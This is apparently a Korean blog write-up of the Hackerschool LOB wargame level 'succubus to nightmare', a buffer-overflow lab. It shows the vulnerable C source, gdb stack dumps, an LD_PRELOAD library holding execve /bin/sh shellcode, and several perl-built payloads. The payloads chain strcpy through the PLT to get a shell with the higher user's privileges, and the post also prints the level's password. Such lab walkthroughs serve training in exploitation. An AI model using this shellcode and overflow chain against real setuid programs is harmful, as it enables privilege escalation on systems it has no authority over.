본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( succubus -> nightmare ) by ORANG

LOB_succubus



[succubus@localhost succubus]$ bash2

[succubus@localhost succubus]$ ls

nightmare  nightmare.c

[succubus@localhost succubus]$ cat nightmare.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// check address

addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}


bash2 부터 띄우고, 이번 힌트는 PLT 입니다.

함수의 plt 테이블을 말하는 것 같습니다.


//dangerous waterfall

memset(buffer+40+8, ‘A’, 4) 부분을 보면 buffer+48부분을 0x41414141로 덮네요


메모리 구조는 strcpy + 0x41414141 +~~~~ 가 되겠네요


그렇다면 strcpy 함수를 이용해 0x41414141에 특정 주소를 덮어써보겠습니다. 


    

       #include <string.h>


       char *strcpy(char *dest, const char *src);



strcpy 함수는 인자로 *dest 와, *src 를 받습니다.

strcpy(4) + 0x41414141 + dest(4) + src(4) 이므로,


공유 라이브러리를 통해, 쉘코드를 실행하는 함수를 올리고

dest를 0x41414141이 존재하는 주소로 하고, src를 쉘코드를 실행 함수주소로 덮어쓰겠습니다.



[succubus@localhost tmp]$ cat ORANG.c

void ORANG(void)

{

char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50

\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";



(*(void (*)()) shellcode)();

}

[succubus@localhost tmp]$ gcc ORANG.c -fPIC -shared -o ORANG

[succubus@localhost tmp]$ export LD_PRELOAD=“/home/succubus/tmp/ORANG”


(gdb) p ORANG

$1 = {<text variable, no debug info>} 0x40015780 <ORANG>


[succubus@localhost tmp]$ ./nightmare `perl -e 'print "A"x44, "\x10\x84\x04\x08", "AAAA", "BBBB", "CCCC"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Segmentation fault (core dumped) 



core dump를 분석해 정확한 주소를 찾기위해 세그먼트 폴트를 유도했습니다.



(gdb) x/40x $esp-0x40

0xbffffa18: 0xbffffa58 0x0804874b 0xbffffa60 0x00000041

0xbffffa28: 0x00000004 0x08048410 0x41414141 0x41414141

0xbffffa38: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa48: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa58: 0x4000ae60 0x41414141 0x41414141 0x42424242

0xbffffa68: 0x43434343 0x40013800 0x00000002 0x08048420

0xbffffa78: 0x00000000 0x08048441 0x080486b4 0x00000002


strcpy(4)  + 0x41414141  + dest(4)  + src(4) + &ORANG

0x8048410  + AAAA  + 0xbffffa30  + 0xbffffa6c + 0x40015780 



&ORANG 함수의 주소를 여러개 넣어주어 확실하게 공격하겠습니다.



[succubus@localhost tmp]$ ./nightmare `perl -e 'print "A"x44, "\x10\x84\x04\x08", "AAAA", "\x30\xfa\xff\xbf", "\x6c\xfa\xff\xbf", "\x80\x57\x01\x40"x20,"\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0lW@W@W@W@W@W

@W@W@W@W@W@W@W@W@W@W@W@W@W@W@

Segmentation fault (core dumped)


(gdb) x/40x $esp - 80

0xbffff9c4: 0xbffffa54 0xbffffa08 0x0804874b 0xbffffa10

0xbffff9d4: 0x00000041 0x00000004 0x08048410 0x41414141

0xbffff9e4: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff9f4: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa04: 0x41414141 0x4000ae60 0x41414141 0x41414141

0xbffffa14: 0xbffff830 0xbffff86c 0x40015780 0x40015780

0xbffffa24: 0x40015780 0x40015780 0x40015780 0x40015780

0xbffffa34: 0x40015780 0x40015780 0x40015780 0x40015780

0xbffffa44: 0x40015780 0x40015780 0x40015780 0x40015780

0xbffffa54: 0x40015780 0x40015780 0x40015780 0x40015780 


dest를 0xbffff9d4로, strc를 0xbffffa24로 변경하였습니다.


[succubus@localhost tmp]$ ./nightmare "`perl -e 'print "A"x44, "\x10\x84\x04\x08", "AAAA", "\xd4\xf9\xff\xbf", "\x24\xfa\xff\xbf", "\x80\x57\x01\x40"x20,"\x00"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$W@W@W@W@W@W@W

@W@W@W@W@W@W@W@W@W@W@W@W@W@

bash$ id

uid=517(succubus) gid=517(succubus) groups=517(succubus)

bash$ exit

exit

[succubus@localhost tmp]$ cd ..

[succubus@localhost succubus]$ ./nightmare "`perl -e 'print "A"x44, "\x10\x84\x04\x08", "AAAA", "\xd4\xf9\xff\xbf", "\x24\xfa\xff\xbf", "\x80\x57\x01\x40"x20,"\x00"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$W@W@W@W@W@W@W

@W@W@W@W@W@W@W@W@W@W@W@W@W@

Segmentation fault 



복사본에서는 공격에 성공했지만, 원본에서는 실패했습니다.

정확한 주소를 알 수 없고, 브루트포싱으로도 꽤 걸릴것같아.. 그냥 깔끔하게 포기하고 다시 풀겠습니다.


[argv0]                               [argv1]

strcpy(4) + 0x41414141 + dest(4) + src(4) &shellcode*20+shellcode


…풀이 자체는 비슷하므로 생략…



[succubus@localhost succubus]$ ./nightmare `perl -e 'print "A"x44, "\x10\x84\x04\x08", "AAAA", "\xb8\xf9\xff\xbf", "\x5a\xfb\xff\xbf"'` `perl -e 'print "\xf8\xfb\xff\xbf"x40,"\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3

\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ

bash$ id

uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)

bash$ my-pass

euid = 518

beg for me 



성공은 했지만, 삽질하느라 멘붕..

다양하게 풀어보려고 했는데, 공격할때는 그냥 확률이 높은쪽으로 시도하는게 깔끔하긴 하네요.